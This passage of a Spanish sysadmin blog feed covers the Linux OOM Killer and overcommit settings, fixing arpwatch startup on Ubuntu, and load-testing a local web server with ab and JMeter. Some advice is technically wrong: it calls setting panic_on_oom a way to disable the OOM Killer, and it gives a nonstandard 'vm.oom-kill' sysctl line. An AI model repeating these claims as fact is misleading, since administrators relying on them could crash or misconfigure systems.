justify;&quot;&gt;ExecReload=/etc/init.d/apache2 reload&lt;/div&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Gracias a esto habríamos ajustado la puntuación del servicio deseado; la gran cuestión sería… ¿Por qué casi siempre son escogidos los servicios más “críticos” tales como las webs o bases de datos?&amp;nbsp; Simplemente debido a que son procesos que de por sí consumen mucha memoria, pues manejan un gran volumen de datos y transacciones… En el caso de las bases de datos, podría también deberse a alguna consulta/operación SQL que esté tomando demasiado tiempo y recursos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si se desea, también se puede deshabilitar directamente esta utilidad, si bien no es recomendable, ya que se trata de una funcionalidad preventiva... Aún así, si fuese 100% hacerlo, solamente habría que ejecutar:&lt;/div&gt;
&lt;pre style=&quot;background: rgb(0, 0, 0); color: #d1d1d1;&quot;&gt;echo &lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #d2cd86;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;proc&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;sys&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;vm&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;panic_on_oom&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En caso de querer hacerlo permanente, habría que añadir dicho parámetro al fichero sysctl.conf, ya que el anterior comando solamente sería válido hasta el siguiente reinicio:&lt;/div&gt;

&lt;pre style=&quot;background: rgb(0, 0, 0); color: #d1d1d1;&quot;&gt;echo vm&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;oom&lt;span style=&quot;color: #d2cd86;&quot;&gt;-&lt;/span&gt;kill &lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #d2cd86;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;etc&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;sysctl&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;conf
&lt;/pre&gt;
  
&lt;div style=&quot;text-align: justify;&quot;&gt;Es importante resaltar que esto no hace que OOM Killer sea una servicio “dañino”; simplemente ejecuta labores que protegen a todo el sistema, la cuestión está en que a veces, en un intento de protege el sistema entero,&amp;nbsp; se pueden llegar a detener de forma accidental servicios indeseados... Por eso, es recomendable no deshabilitarlo y buscar otras vías... Una de ellas es la modificación de un valor llamado &lt;b&gt;overcommit_memory&lt;/b&gt;...&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Linux por defecto puede asignar toda la memoria del mundo sin tener en cuenta la RAM disponible, cosa que no lo hace siempre sino que lo realiza cuando lo ve necesario; nosotros podemos editar el fichero overcommit_memory dentro &lt;b&gt;/proc/sys/vm/&lt;/b&gt; para que siempre lo haga o que solamente lo haga en determinadas circunstancias... El fichero en cuestión tiene un dígito que oscila entre 0 y 2 y que tiene lo siguientes comportamientos:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;0: &lt;/b&gt;Valor por defecto. El sistema decide si asignarle más memoria de la que estaba previsa al proceso.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;1:&lt;/b&gt; Si asignamos este valor, el sistema SIEMPRE&amp;nbsp; asignará toda la memoria al proceso en sin ningún tipo de garantía de que ésta esté disponible, en&amp;nbsp;&lt;span&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;caso de verlo necesario. Esta opción es peligrosa, pues corremos riesgo que el efecto OMM Killer ocurra aún más veces.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;2:&lt;/b&gt; Al asignar este valor, solamente se asignará un % X de la memoria total sin garantía de que ésta esté disponible, donde X sería el valor numérico especificado en&amp;nbsp;&lt;b&gt;/proc/sys/vm/overcommit_ratio &lt;/b&gt;más&amp;nbsp;la memoria swap de la que dispongamos. En caso de que no se pueda asignar más memoria de la que tengamos disponible, dicho asignamiento adicional de memoria no se realizaría, manteniendo &quot;a salvo&quot; el sistema y ayudando en parte a que no se ejecute el OMM Killer; especialmente cuando trabajamos con bases de datos como PostgreSQL. Es por eso que de que dicho valor se recomienda muy a menudo al trabajar con bases de datos PostgresSQL para garantizar que no se consuma más memoria la necesaria. Es importante resaltar que el valor por defecto es de 50, valor que es fácilmente modificable editando el fichero&amp;nbsp;/proc/sys/vm/overcommit_ratio.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La formula exacta para conocer el limite de overcommit al tener el overcommit_memory con valor 2 sería:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;(RAM_total * overcommit_ratio /100) + Memoria_swap&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Visto todo esto, tendríamos una mayor comprensión de cómo funciona &quot;Out Of Memory Killer&quot;, y las medidas a las que podemos recurrir para paliarlo.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como siempre, la solución más sencilla para estos casos siempre sería instalar más memoria RAM en el equipo; pero eso en muchas ocasiones es utópico, con lo que siempre es interesante conocer este tipo de medidas con el fin paliar el problema y evitar demasiados quebraderos de cabeza por cierres inesperados de programas.&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Espero que os haya resultado útil.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Saludos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/7038906538346179038/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2021/05/linux-omm-killer.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/7038906538346179038'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/7038906538346179038'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2021/05/linux-omm-killer.html' title='Linux OOM (Out Of Memory) Killer: Qué es y qué importancia tiene'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmXB5SISgj_pOclRzllM2nM67m576OmvYmLxIybuIk0qb1IvHAGmatz2_E_f8T0hI21oaJMBKpYOtRSCEMstKULwdScTKC78sVN80CsJkdrSpwYtKUUxngcj4WiVuSIWlLaVAkJyuKskM/s72-w400-h121-c/OOM+Killer.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-2020470299530099587</id><published>2019-11-12T18:49:00.001+01:00</published><updated>2019-11-12T18:49:48.643+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Cómo evitar problemas en el arranque de arpwatch en Ubuntu en 16.04</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Arpwatch &lt;/b&gt;es un servicio de Linux que puede dar muchos problemas en el arranque; especialmente cuando se trabajan con múltiples interfaces de red, pues es bastante exigente para comenzar en el proceso de arranque.&amp;nbsp; Generalmente a muchos nos les importa, ya que con arrancar el servicio a mano después el problema se solventa; pero en ocasiones queremos que el equipo arranque automáticamente dicho servicio; especialmente en servidores que queremos que funcionen de forma &quot;autonoma&quot; y que sean susceptibles de reinicios inesperados.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQm0TFp75dxnUn4ZVFLcLcQI3ZhHwV_M-n3yvAcHf6NaEg0mPsu9Dq4Fbj29ksm2_2Sft4KGgYznwe46Dq8YWZcCxKlvYb2u3I46Qv75h1eH-Tb6NCjV6K-DYcoDYFA8t9t1TvgxWvkL8G/s1600/Arpwatch.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;arpwatch_portada&quot; border=&quot;0&quot; data-original-height=&quot;319&quot; data-original-width=&quot;713&quot; height=&quot;143&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQm0TFp75dxnUn4ZVFLcLcQI3ZhHwV_M-n3yvAcHf6NaEg0mPsu9Dq4Fbj29ksm2_2Sft4KGgYznwe46Dq8YWZcCxKlvYb2u3I46Qv75h1eH-Tb6NCjV6K-DYcoDYFA8t9t1TvgxWvkL8G/s320/Arpwatch.png&quot; title=&quot;arpwatch_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es por ello que siempre es interesante saber cómo hacer que el servicio arranque de forma automática. Cosa que afortunadamente es sencillo, ya que arpwatch se enfrenta solamente a dos obstaculos para arrancar correctamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El primero es que al tener dos interfaces de red, con sus respectivas puertas de enlace, al servicio &quot;networking&quot; no le gustan las puertas de enlace estandard, sino que requieren de una métrica. Esto se solventa modificando el fichero &lt;b&gt;/etc/network/interfaces&lt;/b&gt; y realizando el siguiente cambio; poniendo como ejemplo las puerta de enlace 192.168.1.1 y 172.16.1.1&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Antes:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;iface eth0 inet static&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;address 192.168.1.2&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;netmask 255.255.255.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;network 192.168.1.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;broadcast 192.168.1.255&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;gateway 192.168.1.1&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;iface eth1 inet static&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;address 172.16.1.2&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;netmask 255.255.0.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;network 172.16.0.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;broadcast 172.16.255.255&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;gateway 172.16.1.1&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;Despues:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;iface eth0 inet static&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;address 192.168.1.2&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;netmask 255.255.255.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;network 192.168.1.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;broadcast 192.168.1.255&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;post-up route add default gw 192.168.1.1&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;pre-down route del default gw 192.168.1.1&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;iface eth1 inet static&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;address 172.16.1.2&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;netmask 255.255.0.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;network 172.16.0.0&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;broadcast 172.16.255.255&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;post-up route add default gw 172.16.1.1&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;pre-down route del default gw 172.16.1.1&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Con esta parte solventada, sería necesario forzar la ejecución de arpwatch como root, ya que como arpwatch no permite hacerlo bien durante el arranque. Para ello editaremos el fichero &lt;b&gt;/etc/default/arpwatch&lt;/b&gt;; dentro del cual veremos una línea llamada &lt;b&gt;RUNAS&lt;/b&gt;; la cual tendrá como valor arpwatch... Esto significa que el servicio sería ejecutado por el usuario arpwatch, pero al sistema no es algo que le guste, al menos durante el arranque, ya que el servicio en sí no arrancaría&amp;nbsp; correctamente por defecto y requeriría reiniciarlo para que funcione. Para que funcione durante el arranque, habría que hacer que el servicio sea ejecutado como root, con lo que sería necesario realizar el siguiente cambio:&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Antes&lt;/b&gt;:&lt;/u&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;RUNAS=&quot;arpwatch&quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Despues&lt;/b&gt;:&lt;/u&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;RUNAS=&quot;root&quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con estas pequeñas modificaciones, tras nuestro próximo reinicio, nuestro servicio arpwatch funcionaría adecuadamente, evitando así problemas con dicho servicio en caso de que el equipo fuese reiniciado de forma no controlada.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Espero que os haya resultado útil.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Saludos.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/2020470299530099587/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/11/evitar-problemas-arpwatch.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/2020470299530099587'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/2020470299530099587'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/11/evitar-problemas-arpwatch.html' title='Cómo evitar problemas en el arranque de arpwatch en Ubuntu en 16.04'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQm0TFp75dxnUn4ZVFLcLcQI3ZhHwV_M-n3yvAcHf6NaEg0mPsu9Dq4Fbj29ksm2_2Sft4KGgYznwe46Dq8YWZcCxKlvYb2u3I46Qv75h1eH-Tb6NCjV6K-DYcoDYFA8t9t1TvgxWvkL8G/s72-c/Arpwatch.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-742091832103986514</id><published>2019-10-29T22:56:00.001+01:00</published><updated>2019-10-29T22:56:56.798+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Apache2"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Navegador"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Cómo realizar pruebas de carga en nuestro servidor Web</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Una de las labores más importantes a la hora de montar un servidor web, es la dimensionarlo correctamente para poder realizar sus labores de forma efectiva. Generalmente a la hora de realizar el dimensionamiento se suele tender a optimizar el servidor lo máximo posible, con los recursos disponibles, para poder soportar el máximo de conexiones posibles, pero aun así, siempre es importante intentar forzar dicho servidor por encima de su capacidad máxima con el fin de ver cómo reacciona... Esto puede ser una labor sencilla si el servidor soporta muy pocas conexiones, pero y si soportase 1000 conexiones simultáneas o más? Afortunadamente existen herramientas especializadas de Linux que nos pueden ayudar a realizar testear nuestro servidor web... Entre ellas hay dos especialmente conocidas: &lt;b&gt;Apache Benchmark&lt;/b&gt;&amp;nbsp; y &lt;b&gt;JMeter&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0vbHY9K-tr9ut8pb__7thX4N0DBUPfNzjQzHzbVpII92RTMv_Tou6nBpkYcUYAwjyh8iFzz2YUsuOfw_9rRWxMguWUS_gjmg-MKXS9MDjX7Zn1qXQiLjVRm4GJahOwgUDQ5cMY4G0gyOF/s1600/portada_estress.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;portada_pruebas_carga&quot; border=&quot;0&quot; data-original-height=&quot;304&quot; data-original-width=&quot;491&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0vbHY9K-tr9ut8pb__7thX4N0DBUPfNzjQzHzbVpII92RTMv_Tou6nBpkYcUYAwjyh8iFzz2YUsuOfw_9rRWxMguWUS_gjmg-MKXS9MDjX7Zn1qXQiLjVRm4GJahOwgUDQ5cMY4G0gyOF/s320/portada_estress.jpg&quot; title=&quot;portada_pruebas_carga&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Apache Benchmark&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Si bien esta utilidad se puede considerar bastante inferior a JMeter, se trata de una utilidad que tiene la ventaja de que te permite realizar pruebas rápidas desde la consola sin tener la necesidad de tener una interfaz gráfica, cosa que evita el obligarnos a depender de un entorno de escritorio para poder utilizarla. La herramienta en sí es muy fácil de instalar, ya que es parte del conjunto de utilidades estándares de Apache2, llamada &lt;b&gt;apache2-utils&lt;/b&gt;, con lo que lo podemos instalar de los repositorios tal que así:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;apt-get install apache2-utils&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Con esto instalado, podemos hacer pruebas de carga de forma muy rápida mediante el comando ab; donde la sintaxis sería:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;ab &lt;span style=&quot;color: #555555;&quot;&gt;-&lt;/span&gt;c concurrencias &lt;span style=&quot;color: #555555;&quot;&gt;-&lt;/span&gt;n numero_de_peticiones &lt;span style=&quot;color: #555555;&quot;&gt;-&lt;/span&gt;r URL
&lt;/pre&gt;
&lt;br /&gt;
El parámetro&lt;b&gt; -r&lt;/b&gt; sería importante, ya que evitaría que el comando se interrumpiese aún cuando hubiese algún error... Además es importante resaltar que la URL tiene que apuntar siempre a un fichero web... Por ejemplo si tenemos un servidor web con IP 127.0.0.1, no valdría con poner dicha IP como URL sino que habría que poner &lt;i&gt;http://127.0.0.1/index.html&lt;/i&gt;&amp;nbsp;pues en caso contrario Apache Benchmark pensaría que la URL es errónea.&lt;br /&gt;
&lt;br /&gt;
En caso de querer hacer 1000 peticiones con 20 concurrencias a la URL atrás mencionada, haríamos:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;ab -c 20 -n 1000 -r http://127.0.0.1/index.html&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Esto nos daría como resultado una serie de líneas, entre las cuales se resaltarían las últimas donde se muestran el porcentaje de paquetes que ha tardado X milisegundos en tener respuesta:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGIzdJe_sZgmRzaCR0Jn41AUNRtB6KJb9u4bPkyBmkLZAys-Ikf6nLjy8P-O3lw-JGzZcRsKZ1puK9xfAgGyV-t7NwhDOD8GmB_LjhIAMqISsw-KPWoCNGYIXLjGJoAmL9WwQvU-QZVCI4/s1600/Benchmark.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;prueba_carga_ab&quot; border=&quot;0&quot; data-original-height=&quot;794&quot; data-original-width=&quot;598&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGIzdJe_sZgmRzaCR0Jn41AUNRtB6KJb9u4bPkyBmkLZAys-Ikf6nLjy8P-O3lw-JGzZcRsKZ1puK9xfAgGyV-t7NwhDOD8GmB_LjhIAMqISsw-KPWoCNGYIXLjGJoAmL9WwQvU-QZVCI4/s320/Benchmark.PNG&quot; title=&quot;prueba_carga_ab&quot; width=&quot;241&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Resultado prueba carga Apache Benchmark&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Lo malo que tiene esta herramienta, es que carece de opciones de personalización a la hora de realizar las pruebas de carga; es decir, no puedes decir si las peticiones se van a hacer de forma controlada, o como un ataque DOS... Simplemente las realiza lo más rápido que puede y listo... Lo cual viene por un lado bien para saber cómo se comporta bajo cierta presión, pero que no emula entornos realistas. Es por eso que esta herramienta tienes sus pros y sus contras y es ahí donde JMeter marca la diferencia, ya que dicha herramienta sí que tiene un mayor abanico de opciones.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Apache JMeter&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En este caso para poder siquiera instalar la aplicación es 100% necesario tener instalado un entorno de escritorio, pues instalar elementos gráficos. El entorno de escritorio en sí es indiferente, puede ser XFCE, KDE, Gnome... Al gusto de cada uno... Cumpliendo dicho requisito habría que escribir en la consola:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;apt-get install jmeter&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Esto preparará todo lo necesario para que Jmeter sea utilizable, si bien Jmeter tiene una peculiaridad. La configuración de los diferentes parámetros y planes de pruebas se realizan desde de la GUI, pero la ejecución del plan de pruebas es extremadamente recomendable hacerlo desde la consola; recomendación que es dada por los propios desarrolladores de la utilidad.&lt;br /&gt;
&lt;br /&gt;
Con lo que teniendo esto claro, primero abriríamos la aplicación desde la GUI, aplicación que, desgraciadamente, al ser tan completa, puede ser algo intimidante inicialmente.&lt;br /&gt;
&lt;br /&gt;
El primer paso que habría que ejecutar sería la creación de un Grupo de Hilos; dicho paso es vital pues marca el número de peticiones simultáneas que se harían, el intervalo entre éstos y el número de veces que se lanzarían peticiones (pudiendo ser infinito); las capturas de a continuación serían realizadas desde un &lt;b&gt;Ubuntu 18.04&lt;/b&gt;, capturas en las que, en este caso mostraríamos 100 peticiones simultáneas realizadas cada segundo continuamente :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZXkIka00nBlD01MC_S5cexkVuVuxK3kfE46iYyW8MHBR2y2aQ1pfd0f0QCGqib0UyEHFdHDIRO3B5gT_po4Nj896BdQmNl2IBN5-5NbyYhyphenhyphenM85SBmofsbEWLBIM0n343wVggIwJn-hcjW/s1600/grupo_hilos.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;nuevo_grupo_hilos&quot; border=&quot;0&quot; data-original-height=&quot;376&quot; data-original-width=&quot;1351&quot; height=&quot;89&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZXkIka00nBlD01MC_S5cexkVuVuxK3kfE46iYyW8MHBR2y2aQ1pfd0f0QCGqib0UyEHFdHDIRO3B5gT_po4Nj896BdQmNl2IBN5-5NbyYhyphenhyphenM85SBmofsbEWLBIM0n343wVggIwJn-hcjW/s320/grupo_hilos.PNG&quot; title=&quot;nuevo_grupo_hilos&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
